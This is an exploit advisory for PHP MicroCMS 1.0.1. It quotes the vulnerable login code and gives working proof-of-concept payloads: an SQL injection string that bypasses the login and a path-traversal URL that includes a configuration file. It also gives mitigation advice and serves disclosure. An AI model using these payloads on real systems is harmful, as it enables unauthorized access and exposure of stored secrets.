PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities

vendor:

PHP MicroCMS

by:

abysssec.com

7.5

CVSS

HIGH

Authentication bypass with SQL Injection

CWE

Product Name: PHP MicroCMS

Affected Version From: PHP MicroCMS <= 1.0.1

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities

This CMS has an authentication bypass vulnerability with SQL Injection in the login page. The user_name and password parameters received from the login form are passed to the do_login function, where they are then passed to the get_account_information function without any validation. These parameters are directly applied in an SQL query, allowing an attacker to bypass authentication and potentially gain unauthorized access.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques, such as using prepared statements or parameterized queries, to prevent SQL injection attacks. Additionally, enforcing strong authentication mechanisms, such as multi-factor authentication, can help protect against unauthorized access.

Source

Exploit-DB raw data:

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-15-php-microcms-1-0-1-multiple-remote-vulnerabilities/

'''

 
Title  : PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities
Affected Version : PHP MicroCMS <= 1.0.1
Vendor  Site   : www.apphp.com/php-microcms/index.php
 
Discovery : abysssec.com
  
Description :
 
This CMS have many critical vulnerability that we refere to some of those here:
 
 
Vulnerabilites :

1. Authentication bypass with SQL Injection in login page:

user_name and password parameters recived from the login form are passed to do_login function:
login.php 
line 12-17:
	function Login() {
		$this->wrong_login = false;
		if (!$this->is_logged_in() && $_POST['submit'] == "Login" && !empty($_POST['user_name']) && !empty($_POST['password'])) $this->do_login($_POST['user_name'], $_POST['password']);
		else if ($_POST['submit_logout'] == "Logout") $this->do_logout();
		$this->accounts = new Profiles($GLOBALS['user_session']->get_session_variable("session_account_id"));
	}

in do_login function these parameters are passed to get_account_information function:
login.php line 19-29:
function do_login($user_name, $password, $do_redirect = true) {
		if ($account_information = $this->get_account_information($user_name, $password)) {
				$this->set_session_variables($account_information);
				if ($do_redirect) {
					header("Location: index.php\r\n\r\n");
					exit;
				}
		}else{
			$this->wrong_login = true;
		}
	}


then these parameters without any validation are applied in SQL query directly:
login.php line 48-55:
	function get_account_information($user_name, $password) {
		$sql = "SELECT ".DB_PREFIX."accounts.*, user_name AS account_name
							   FROM ".DB_PREFIX."accounts
							   WHERE
									user_name = '" . $user_name . "' AND 			// vulnerability here
									password = AES_ENCRYPT('" . $password . "', '" . DB_ENCRYPT_KEY . "')";	// vulnerability here
		return database_query($sql, DATA_ONLY, FIRST_ROW_ONLY);
	}

POC:
in login page enter:
username: a' or '1'='1
password: a' or '1'='1
----------------------------------------------------------------------------------------------------
2. Local File Inclusion:

index.php file line 21:
	$page = !empty($_GET['page']) ? $_GET['page'] : "home";

index.php file line 104,105:
					if (($page != "") && file_exists("page/" . $page . ".php")) {
						require("page/" . $page . ".php");	
poc:
http://localhost/microcms/index.php?page=../include/base.inc.php%00